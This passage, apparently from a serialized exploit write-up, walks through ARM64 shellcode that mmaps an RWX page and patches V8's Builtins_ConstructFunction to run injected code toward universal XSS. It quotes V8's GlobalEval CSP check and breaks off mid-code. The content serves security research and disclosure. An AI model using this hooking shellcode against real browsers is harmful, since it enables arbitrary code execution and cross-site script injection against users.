#0x2000\n",{"type":23,"tag":504,"props":138428,"children":138429},{"class":506,"line":1384},[138430],{"type":23,"tag":504,"props":138431,"children":138432},{},[138433],{"type":28,"value":138434},"mov x2, #0x7\n",{"type":23,"tag":504,"props":138436,"children":138437},{"class":506,"line":1392},[138438],{"type":23,"tag":504,"props":138439,"children":138440},{},[138441],{"type":28,"value":138442},"mov x8, #226\n",{"type":23,"tag":504,"props":138444,"children":138445},{"class":506,"line":1400},[138446],{"type":23,"tag":504,"props":138447,"children":138448},{},[138449],{"type":28,"value":138450},"svc #0\n",{"type":23,"tag":504,"props":138452,"children":138453},{"class":506,"line":1422},[138454],{"type":23,"tag":504,"props":138455,"children":138456},{"emptyLinePlaceholder":16},[138457],{"type":28,"value":1038},{"type":23,"tag":504,"props":138459,"children":138460},{"class":506,"line":1450},[138461],{"type":23,"tag":504,"props":138462,"children":138463},{},[138464],{"type":28,"value":138465},"mov x6, x5\n",{"type":23,"tag":504,"props":138467,"children":138468},{"class":506,"line":1463},[138469],{"type":23,"tag":504,"props":138470,"children":138471},{"emptyLinePlaceholder":16},[138472],{"type":28,"value":1038},{"type":23,"tag":504,"props":138474,"children":138475},{"class":506,"line":1485},[138476],{"type":23,"tag":504,"props":138477,"children":138478},{},[138479],{"type":28,"value":138480},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":504,"props":138482,"children":138483},{"class":506,"line":1503},[138484],{"type":23,"tag":504,"props":138485,"children":138486},{},[138487],{"type":28,"value":138488},"mov x0, #0\n",{"type":23,"tag":504,"props":138490,"children":138491},{"class":506,"line":1516},[138492],{"type":23,"tag":504,"props":138493,"children":138494},{},[138495],{"type":28,"value":138496},"mov x1, #0x1000\n",{"type":23,"tag":504,"props":138498,"children":138499},{"class":506,"line":1543},[138500],{"type":23,"tag":504,"props":138501,"children":138502},{},[138503],{"type":28,"value":138434},{"type":23,"tag":504,"props":138505,"children":138506},{"class":506,"line":1583},[138507],{"type":23,"tag":504,"props":138508,"children":138509},{},[138510],{"type":28,"value":138511},"mov x3, #34\n",{"type":23,"tag":504,"props":138513,"children":138514},{"class":506,"line":1605},[138515],{"type":23,"tag":504,"props":138516,"children":138517},{},[138518],{"type":28,"value":138519},"mov x4, #-1\n",{"type":23,"tag":504,"props":138521,"children":138522},{"class":506,"line":1614},[138523],{"type":23,"tag":504,"props":138524,"children":138525},{},[138526],{"type":28,"value":138527},"mov x5, #0\n",{"type":23,"tag":504,"props":138529,"children":138530},{"class":506,"line":1627},[138531],{"type":23,"tag":504,"props":138532,"children":138533},{},[138534],{"type":28,"value":138535},"mov x8, #222\n",{"type":23,"tag":504,"props":138537,"children":138538},{"class":506,"line":1655},[138539],{"type":23,"tag":504,"props":138540,"children":138541},{},[138542],{"type":28,"value":138450},{"type":23,"tag":504,"props":138544,"children":138545},{"class":506,"line":1668},[138546],{"type":23,"tag":504,"props":138547,"children":138548},{"emptyLinePlaceholder":16},[138549],{"type":28,"value":1038},{"type":23,"tag":504,"props":138551,"children":138552},{"class":506,"line":1682},[138553],{"type":23,"tag":504,"props":138554,"children":138555},{},[138556],{"type":28,"value":138348},{"type":23,"tag":504,"props":138558,"children":138559},{"class":506,"line":1691},[138560],{"type":23,"tag":504,"props":138561,"children":138562},{"emptyLinePlaceholder":16},[138563],{"type":28,"value":1038},{"type":23,"tag":504,"props":138565,"children":138566},{"class":506,"line":1699},[138567],{"type":23,"tag":504,"props":138568,"children":138569},{},[138570],{"type":28,"value":138571},"// at this point:\n",{"type":23,"tag":504,"props":138573,"children":138574},{"class":506,"line":1708},[138575],{"type":23,"tag":504,"props":138576,"children":138577},{},[138578],{"type":28,"value":138579},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":138581,"children":138582},{"class":506,"line":1717},[138583],{"type":23,"tag":504,"props":138584,"children":138585},{},[138586],{"type":28,"value":138587},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":504,"props":138589,"children":138590},{"class":506,"line":1725},[138591],{"type":23,"tag":504,"props":138592,"children":138593},{"emptyLinePlaceholder":16},[138594],{"type":28,"value":1038},{"type":23,"tag":504,"props":138596,"children":138597},{"class":506,"line":1757},[138598],{"type":23,"tag":504,"props":138599,"children":138600},{},[138601],{"type":28,"value":138602},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":504,"props":138604,"children":138605},{"class":506,"line":1765},[138606],{"type":23,"tag":504,"props":138607,"children":138608},{},[138609],{"type":28,"value":138610},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":504,"props":138612,"children":138613},{"class":506,"line":22762},[138614],{"type":23,"tag":504,"props":138615,"children":138616},{"emptyLinePlaceholder":16},[138617],{"type":28,"value":1038},{"type":23,"tag":504,"props":138619,"children":138620},{"class":506,"line":22799},[138621],{"type":23,"tag":504,"props":138622,"children":138623},{},[138624],{"type":28,"value":138625},"// wipe from cache\n",{"type":23,"tag":504,"props":138627,"children":138628},{"class":506,"line":22812},[138629],{"type":23,"tag":504,"props":138630,"children":138631},{},[138632],{"type":28,"value":138633},"mov x0, x5\n",{"type":23,"tag":504,"props":138635,"children":138636},{"class":506,"line":22825},[138637],{"type":23,"tag":504,"props":138638,"children":138639},{},[138640],{"type":28,"value":138641},"{WIPE_CACHE}\n",{"type":23,"tag":504,"props":138643,"children":138644},{"class":506,"line":22838},[138645],{"type":23,"tag":504,"props":138646,"children":138647},{"emptyLinePlaceholder":16},[138648],{"type":28,"value":1038},{"type":23,"tag":504,"props":138650,"children":138651},{"class":506,"line":22892},[138652],{"type":23,"tag":504,"props":138653,"children":138654},{},[138655],{"type":28,"value":138656},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":138658,"children":138659},{"class":506,"line":22901},[138660],{"type":23,"tag":504,"props":138661,"children":138662},{},[138663],{"type":28,"value":138664},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":504,"props":138666,"children":138667},{"class":506,"line":31258},[138668],{"type":23,"tag":504,"props":138669,"children":138670},{},[138671],{"type":28,"value":138672},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":504,"props":138674,"children":138675},{"class":506,"line":31279},[138676],{"type":23,"tag":504,"props":138677,"children":138678},{},[138679],{"type":28,"value":138680},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":504,"props":138682,"children":138683},{"class":506,"line":79702},[138684],{"type":23,"tag":504,"props":138685,"children":138686},{"emptyLinePlaceholder":16},[138687],{"type":28,"value":1038},{"type":23,"tag":504,"props":138689,"children":138690},{"class":506,"line":79715},[138691],{"type":23,"tag":504,"props":138692,"children":138693},{},[138694],{"type":28,"value":138625},{"type":23,"tag":504,"props":138696,"children":138697},{"class":506,"line":79723},[138698],{"type":23,"tag":504,"props":138699,"children":138700},{},[138701],{"type":28,"value":138702},"mov x0, x6\n",{"type":23,"tag":504,"props":138704,"children":138705},{"class":506,"line":79731},[138706],{"type":23,"tag":504,"props":138707,"children":138708},{},[138709],{"type":28,"value":138641},{"type":23,"tag":24,"props":138711,"children":138712},{},[138713,138715,138721,138723,138728,138730,138736],{"type":28,"value":138714},"In the snippet above, ",{"type":23,"tag":56,"props":138716,"children":138718},{"className":138717},[],[138719],{"type":28,"value":138720},"new_compile_instrs",{"type":28,"value":138722}," refers to the instructions written to the beginning of ",{"type":23,"tag":56,"props":138724,"children":138726},{"className":138725},[],[138727],{"type":28,"value":138219},{"type":28,"value":138729}," that invoke the ",{"type":23,"tag":56,"props":138731,"children":138733},{"className":138732},[],[138734],{"type":28,"value":138735},"uxss_sc",{"type":28,"value":138737}," mmap-ed shellcode:",{"type":23,"tag":494,"props":138739,"children":138741},{"code":138740,"language":138272,"meta":7,"className":138273,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[138742],{"type":23,"tag":56,"props":138743,"children":138744},{"__ignoreMap":7},[138745,138753,138760,138768,138776,138783,138791,138799,138806,138814,138822,138829,138837],{"type":23,"tag":504,"props":138746,"children":138747},{"class":506,"line":507},[138748],{"type":23,"tag":504,"props":138749,"children":138750},{},[138751],{"type":28,"value":138752},"bti c\n",{"type":23,"tag":504,"props":138754,"children":138755},{"class":506,"line":540},[138756],{"type":23,"tag":504,"props":138757,"children":138758},{"emptyLinePlaceholder":16},[138759],{"type":28,"value":1038},{"type":23,"tag":504,"props":138761,"children":138762},{"class":506,"line":555},[138763],{"type":23,"tag":504,"props":138764,"children":138765},{},[138766],{"type":28,"value":138767},"// store registers that will be overwritten\n",{"type":23,"tag":504,"props":138769,"children":138770},{"class":506,"line":633},[138771],{"type":23,"tag":504,"props":138772,"children":138773},{},[138774],{"type":28,"value":138775},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":504,"props":138777,"children":138778},{"class":506,"line":687},[138779],{"type":23,"tag":504,"props":138780,"children":138781},{"emptyLinePlaceholder":16},[138782],{"type":28,"value":1038},{"type":23,"tag":504,"props":138784,"children":138785},{"class":506,"line":736},[138786],{"type":23,"tag":504,"props":138787,"children":138788},{},[138789],{"type":28,"value":138790},"// get current rip into x15\n",{"type":23,"tag":504,"props":138792,"children":138793},{"class":506,"line":785},[138794],{"type":23,"tag":504,"props":138795,"children":138796},{},[138797],{"type":28,"value":138798},"adr x15, .\n",{"type":23,"tag":504,"props":138800,"children":138801},{"class":506,"line":813},[138802],{"type":23,"tag":504,"props":138803,"children":138804},{"emptyLinePlaceholder":16},[138805],{"type":28,"value":1038},{"type":23,"tag":504,"props":138807,"children":138808},{"class":506,"line":851},[138809],{"type":23,"tag":504,"props":138810,"children":138811},{},[138812],{"type":28,"value":138813},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":504,"props":138815,"children":138816},{"class":506,"line":869},[138817],{"type":23,"tag":504,"props":138818,"children":138819},{},[138820],{"type":28,"value":138821},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":504,"props":138823,"children":138824},{"class":506,"line":878},[138825],{"type":23,"tag":504,"props":138826,"children":138827},{"emptyLinePlaceholder":16},[138828],{"type":28,"value":1038},{"type":23,"tag":504,"props":138830,"children":138831},{"class":506,"line":1221},[138832],{"type":23,"tag":504,"props":138833,"children":138834},{},[138835],{"type":28,"value":138836},"// jump to uxss_sc\n",{"type":23,"tag":504,"props":138838,"children":138839},{"class":506,"line":1276},[138840],{"type":23,"tag":504,"props":138841,"children":138842},{},[138843],{"type":28,"value":138844},"blr x15\n",{"type":23,"tag":24,"props":138846,"children":138847},{},[138848,138853,138855,138860],{"type":23,"tag":56,"props":138849,"children":138851},{"className":138850},[],[138852],{"type":28,"value":138735},{"type":28,"value":138854}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":56,"props":138856,"children":138858},{"className":138857},[],[138859],{"type":28,"value":138219},{"type":28,"value":138861}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":494,"props":138863,"children":138865},{"code":138864,"language":138272,"meta":7,"className":138273,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[138866],{"type":23,"tag":56,"props":138867,"children":138868},{"__ignoreMap":7},[138869,138876,138883,138891,138899,138907,138915,138923,138931,138939,138947,138955,138963,138971,138979,138987,138995,139003,139011],{"type":23,"tag":504,"props":138870,"children":138871},{"class":506,"line":507},[138872],{"type":23,"tag":504,"props":138873,"children":138874},{},[138875],{"type":28,"value":138752},{"type":23,"tag":504,"props":138877,"children":138878},{"class":506,"line":540},[138879],{"type":23,"tag":504,"props":138880,"children":138881},{"emptyLinePlaceholder":16},[138882],{"type":28,"value":1038},{"type":23,"tag":504,"props":138884,"children":138885},{"class":506,"line":555},[138886],{"type":23,"tag":504,"props":138887,"children":138888},{},[138889],{"type":28,"value":138890},"// Save full register context\n",{"type":23,"tag":504,"props":138892,"children":138893},{"class":506,"line":633},[138894],{"type":23,"tag":504,"props":138895,"children":138896},{},[138897],{"type":28,"value":138898},"stp x0,  x1,  [sp, #-16]!\n",{"type":23,"tag":504,"props":138900,"children":138901},{"class":506,"line":687},[138902],{"type":23,"tag":504,"props":138903,"children":138904},{},[138905],{"type":28,"value":138906},"stp x2,  x3,  [sp, #-16]!\n",{"type":23,"tag":504,"props":138908,"children":138909},{"class":506,"line":736},[138910],{"type":23,"tag":504,"props":138911,"children":138912},{},[138913],{"type":28,"value":138914},"stp x4,  x5,  [sp, #-16]!\n",{"type":23,"tag":504,"props":138916,"children":138917},{"class":506,"line":785},[138918],{"type":23,"tag":504,"props":138919,"children":138920},{},[138921],{"type":28,"value":138922},"stp x6,  x7,  [sp, #-16]!\n",{"type":23,"tag":504,"props":138924,"children":138925},{"class":506,"line":813},[138926],{"type":23,"tag":504,"props":138927,"children":138928},{},[138929],{"type":28,"value":138930},"stp x8,  x9,  [sp, #-16]!\n",{"type":23,"tag":504,"props":138932,"children":138933},{"class":506,"line":851},[138934],{"type":23,"tag":504,"props":138935,"children":138936},{},[138937],{"type":28,"value":138938},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":504,"props":138940,"children":138941},{"class":506,"line":869},[138942],{"type":23,"tag":504,"props":138943,"children":138944},{},[138945],{"type":28,"value":138946},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":504,"props":138948,"children":138949},{"class":506,"line":878},[138950],{"type":23,"tag":504,"props":138951,"children":138952},{},[138953],{"type":28,"value":138954},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":504,"props":138956,"children":138957},{"class":506,"line":1221},[138958],{"type":23,"tag":504,"props":138959,"children":138960},{},[138961],{"type":28,"value":138962},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":504,"props":138964,"children":138965},{"class":506,"line":1276},[138966],{"type":23,"tag":504,"props":138967,"children":138968},{},[138969],{"type":28,"value":138970},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":504,"props":138972,"children":138973},{"class":506,"line":1285},[138974],{"type":23,"tag":504,"props":138975,"children":138976},{},[138977],{"type":28,"value":138978},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":504,"props":138980,"children":138981},{"class":506,"line":1294},[138982],{"type":23,"tag":504,"props":138983,"children":138984},{},[138985],{"type":28,"value":138986},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":504,"props":138988,"children":138989},{"class":506,"line":1302},[138990],{"type":23,"tag":504,"props":138991,"children":138992},{},[138993],{"type":28,"value":138994},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":504,"props":138996,"children":138997},{"class":506,"line":1311},[138998],{"type":23,"tag":504,"props":138999,"children":139000},{},[139001],{"type":28,"value":139002},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":504,"props":139004,"children":139005},{"class":506,"line":1334},[139006],{"type":23,"tag":504,"props":139007,"children":139008},{},[139009],{"type":28,"value":139010},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":504,"props":139012,"children":139013},{"class":506,"line":1370},[139014],{"type":23,"tag":504,"props":139015,"children":139016},{},[139017],{"type":28,"value":139018},"str lr, [sp, #-16]!\n",{"type":23,"tag":24,"props":139020,"children":139021},{},[139022],{"type":28,"value":139023},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":24,"props":139025,"children":139026},{},[139027,139029,139034],{"type":28,"value":139028},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":56,"props":139030,"children":139032},{"className":139031},[],[139033],{"type":28,"value":138219},{"type":28,"value":139035},", and then returns execution to its beginning:",{"type":23,"tag":494,"props":139037,"children":139039},{"code":139038,"language":138272,"meta":7,"className":138273,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[139040],{"type":23,"tag":56,"props":139041,"children":139042},{"__ignoreMap":7},[139043,139051,139059,139067,139075,139083,139090,139097,139105,139112,139119,139127,139135,139143,139151,139159,139167,139175,139183,139191,139199,139207,139215,139223,139231,139239,139247,139254,139262,139270,139278,139286,139294,139301,139309,139317,139324],{"type":23,"tag":504,"props":139044,"children":139045},{"class":506,"line":507},[139046],{"type":23,"tag":504,"props":139047,"children":139048},{},[139049],{"type":28,"value":139050},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":139052,"children":139053},{"class":506,"line":540},[139054],{"type":23,"tag":504,"props":139055,"children":139056},{},[139057],{"type":28,"value":139058},"ldr lr, [sp], #16\n",{"type":23,"tag":504,"props":139060,"children":139061},{"class":506,"line":555},[139062],{"type":23,"tag":504,"props":139063,"children":139064},{},[139065],{"type":28,"value":139066},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":139068,"children":139069},{"class":506,"line":633},[139070],{"type":23,"tag":504,"props":139071,"children":139072},{},[139073],{"type":28,"value":139074},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":504,"props":139076,"children":139077},{"class":506,"line":687},[139078],{"type":23,"tag":504,"props":139079,"children":139080},{},[139081],{"type":28,"value":139082},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":504,"props":139084,"children":139085},{"class":506,"line":736},[139086],{"type":23,"tag":504,"props":139087,"children":139088},{"emptyLinePlaceholder":16},[139089],{"type":28,"value":1038},{"type":23,"tag":504,"props":139091,"children":139092},{"class":506,"line":785},[139093],{"type":23,"tag":504,"props":139094,"children":139095},{},[139096],{"type":28,"value":138625},{"type":23,"tag":504,"props":139098,"children":139099},{"class":506,"line":813},[139100],{"type":23,"tag":504,"props":139101,"children":139102},{},[139103],{"type":28,"value":139104},"mov x0, lr\n",{"type":23,"tag":504,"props":139106,"children":139107},{"class":506,"line":851},[139108],{"type":23,"tag":504,"props":139109,"children":139110},{},[139111],{"type":28,"value":138641},{"type":23,"tag":504,"props":139113,"children":139114},{"class":506,"line":869},[139115],{"type":23,"tag":504,"props":139116,"children":139117},{"emptyLinePlaceholder":16},[139118],{"type":28,"value":1038},{"type":23,"tag":504,"props":139120,"children":139121},{"class":506,"line":878},[139122],{"type":23,"tag":504,"props":139123,"children":139124},{},[139125],{"type":28,"value":139126},"// restore original registers\n",{"type":23,"tag":504,"props":139128,"children":139129},{"class":506,"line":1221},[139130],{"type":23,"tag":504,"props":139131,"children":139132},{},[139133],{"type":28,"value":139134},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":504,"props":139136,"children":139137},{"class":506,"line":1276},[139138],{"type":23,"tag":504,"props":139139,"children":139140},{},[139141],{"type":28,"value":139142},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":504,"props":139144,"children":139145},{"class":506,"line":1285},[139146],{"type":23,"tag":504,"props":139147,"children":139148},{},[139149],{"type":28,"value":139150},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":504,"props":139152,"children":139153},{"class":506,"line":1294},[139154],{"type":23,"tag":504,"props":139155,"children":139156},{},[139157],{"type":28,"value":139158},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":504,"props":139160,"children":139161},{"class":506,"line":1302},[139162],{"type":23,"tag":504,"props":139163,"children":139164},{},[139165],{"type":28,"value":139166},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":504,"props":139168,"children":139169},{"class":506,"line":1311},[139170],{"type":23,"tag":504,"props":139171,"children":139172},{},[139173],{"type":28,"value":139174},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":504,"props":139176,"children":139177},{"class":506,"line":1334},[139178],{"type":23,"tag":504,"props":139179,"children":139180},{},[139181],{"type":28,"value":139182},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":504,"props":139184,"children":139185},{"class":506,"line":1370},[139186],{"type":23,"tag":504,"props":139187,"children":139188},{},[139189],{"type":28,"value":139190},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":504,"props":139192,"children":139193},{"class":506,"line":1384},[139194],{"type":23,"tag":504,"props":139195,"children":139196},{},[139197],{"type":28,"value":139198},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":504,"props":139200,"children":139201},{"class":506,"line":1392},[139202],{"type":23,"tag":504,"props":139203,"children":139204},{},[139205],{"type":28,"value":139206},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":504,"props":139208,"children":139209},{"class":506,"line":1400},[139210],{"type":23,"tag":504,"props":139211,"children":139212},{},[139213],{"type":28,"value":139214},"ldp x8,  x9,  [sp], #16\n",{"type":23,"tag":504,"props":139216,"children":139217},{"class":506,"line":1422},[139218],{"type":23,"tag":504,"props":139219,"children":139220},{},[139221],{"type":28,"value":139222},"ldp x6,  x7,  [sp], #16\n",{"type":23,"tag":504,"props":139224,"children":139225},{"class":506,"line":1450},[139226],{"type":23,"tag":504,"props":139227,"children":139228},{},[139229],{"type":28,"value":139230},"ldp x4,  x5,  [sp], #16\n",{"type":23,"tag":504,"props":139232,"children":139233},{"class":506,"line":1463},[139234],{"type":23,"tag":504,"props":139235,"children":139236},{},[139237],{"type":28,"value":139238},"ldp x2,  x3,  [sp], #16\n",{"type":23,"tag":504,"props":139240,"children":139241},{"class":506,"line":1485},[139242],{"type":23,"tag":504,"props":139243,"children":139244},{},[139245],{"type":28,"value":139246},"ldp x0,  x1,  [sp], #16\n",{"type":23,"tag":504,"props":139248,"children":139249},{"class":506,"line":1503},[139250],{"type":23,"tag":504,"props":139251,"children":139252},{"emptyLinePlaceholder":16},[139253],{"type":28,"value":1038},{"type":23,"tag":504,"props":139255,"children":139256},{"class":506,"line":1516},[139257],{"type":23,"tag":504,"props":139258,"children":139259},{},[139260],{"type":28,"value":139261},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":504,"props":139263,"children":139264},{"class":506,"line":1543},[139265],{"type":23,"tag":504,"props":139266,"children":139267},{},[139268],{"type":28,"value":139269},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":504,"props":139271,"children":139272},{"class":506,"line":1583},[139273],{"type":23,"tag":504,"props":139274,"children":139275},{},[139276],{"type":28,"value":139277},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":504,"props":139279,"children":139280},{"class":506,"line":1605},[139281],{"type":23,"tag":504,"props":139282,"children":139283},{},[139284],{"type":28,"value":139285},"// where to return\n",{"type":23,"tag":504,"props":139287,"children":139288},{"class":506,"line":1614},[139289],{"type":23,"tag":504,"props":139290,"children":139291},{},[139292],{"type":28,"value":139293},"mov x4, lr\n",{"type":23,"tag":504,"props":139295,"children":139296},{"class":506,"line":1627},[139297],{"type":23,"tag":504,"props":139298,"children":139299},{"emptyLinePlaceholder":16},[139300],{"type":28,"value":1038},{"type":23,"tag":504,"props":139302,"children":139303},{"class":506,"line":1655},[139304],{"type":23,"tag":504,"props":139305,"children":139306},{},[139307],{"type":28,"value":139308},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":504,"props":139310,"children":139311},{"class":506,"line":1668},[139312],{"type":23,"tag":504,"props":139313,"children":139314},{},[139315],{"type":28,"value":139316},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":504,"props":139318,"children":139319},{"class":506,"line":1682},[139320],{"type":23,"tag":504,"props":139321,"children":139322},{"emptyLinePlaceholder":16},[139323],{"type":28,"value":1038},{"type":23,"tag":504,"props":139325,"children":139326},{"class":506,"line":1691},[139327],{"type":23,"tag":504,"props":139328,"children":139329},{},[139330],{"type":28,"value":139331},"ret x4\n",{"type":23,"tag":24,"props":139333,"children":139334},{},[139335,139337,139342,139344,139349,139351,139357],{"type":28,"value":139336},"At this point, we have successfully hooked ",{"type":23,"tag":56,"props":139338,"children":139340},{"className":139339},[],[139341],{"type":28,"value":138219},{"type":28,"value":139343}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":56,"props":139345,"children":139347},{"className":139346},[],[139348],{"type":28,"value":138735},{"type":28,"value":139350}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":56,"props":139352,"children":139354},{"className":139353},[],[139355],{"type":28,"value":139356},"Builtins_GlobalEval",{"type":28,"value":320},{"type":23,"tag":24,"props":139359,"children":139360},{},[139361,139366,139368,139373,139375,139380],{"type":23,"tag":56,"props":139362,"children":139364},{"className":139363},[],[139365],{"type":28,"value":139356},{"type":28,"value":139367}," takes a single ",{"type":23,"tag":56,"props":139369,"children":139371},{"className":139370},[],[139372],{"type":28,"value":46906},{"type":28,"value":139374}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":56,"props":139376,"children":139378},{"className":139377},[],[139379],{"type":28,"value":36524},{"type":28,"value":3472},{"type":23,"tag":494,"props":139382,"children":139384},{"code":139383,"language":28093,"meta":7,"className":28091,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[139385],{"type":23,"tag":56,"props":139386,"children":139387},{"__ignoreMap":7},[139388,139401,139408,139415,139458,139480,139506],{"type":23,"tag":504,"props":139389,"children":139390},{"class":506,"line":507},[139391,139396],{"type":23,"tag":504,"props":139392,"children":139393},{"style":517},[139394],{"type":28,"value":139395},"BUILTIN",{"type":23,"tag":504,"props":139397,"children":139398},{"style":523},[139399],{"type":28,"value":139400},"(GlobalEval) {\n",{"type":23,"tag":504,"props":139402,"children":139403},{"class":506,"line":540},[139404],{"type":23,"tag":504,"props":139405,"children":139406},{"style":523},[139407],{"type":28,"value":125904},{"type":23,"tag":504,"props":139409,"children":139410},{"class":506,"line":555},[139411],{"type":23,"tag":504,"props":139412,"children":139413},{"emptyLinePlaceholder":16},[139414],{"type":28,"value":1038},{"type":23,"tag":504,"props":139416,"children":139417},{"class":506,"line":633},[139418,139423,139428,139432,139437,139441,139445,139449,139454],{"type":23,"tag":504,"props":139419,"children":139420},{"style":523},[139421],{"type":28,"value":139422},"  if (!Builtins::",{"type":23,"tag":504,"props":139424,"children":139425},{"style":1012},[139426],{"type":28,"value":139427},"AllowDynamicFunction",{"type":23,"tag":504,"props":139429,"children":139430},{"style":523},[139431],{"type":28,"value":526},{"type":23,"tag":504,"props":139433,"children":139434},{"style":1012},[139435],{"type":28,"value":139436},"isolate",{"type":23,"tag":504,"props":139438,"children":139439},{"style":523},[139440],{"type":28,"value":576},{"type":23,"tag":504,"props":139442,"children":139443},{"style":1012},[139444],{"type":28,"value":113829},{"type":23,"tag":504,"props":139446,"children":139447},{"style":523},[139448],{"type":28,"value":576},{"type":23,"tag":504,"props":139450,"children":139451},{"style":1012},[139452],{"type":28,"value":139453},"target_global_proxy",{"type":23,"tag":504,"props":139455,"children":139456},{"style":523},[139457],{"type":28,"value":34170},{"type":23,"tag":504,"props":139459,"children":139460},{"class":506,"line":687},[139461,139466,139470,139475],{"type":23,"tag":504,"props":139462,"children":139463},{"style":529},[139464],{"type":28,"value":139465},"    isolate",{"type":23,"tag":504,"props":139467,"children":139468},{"style":523},[139469],{"type":28,"value":12738},{"type":23,"tag":504,"props":139471,"children":139472},{"style":517},[139473],{"type":28,"value":139474},"CountUsage",{"type":23,"tag":504,"props":139476,"children":139477},{"style":523},[139478],{"type":28,"value":139479},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":504,"props":139481,"children":139482},{"class":506,"line":736},[139483,139487,139492,139497,139502],{"type":23,"tag":504,"props":139484,"children":139485},{"style":544},[139486],{"type":28,"value":15968},{"type":23,"tag":504,"props":139488,"children":139489},{"style":517},[139490],{"type":28,"value":139491}," 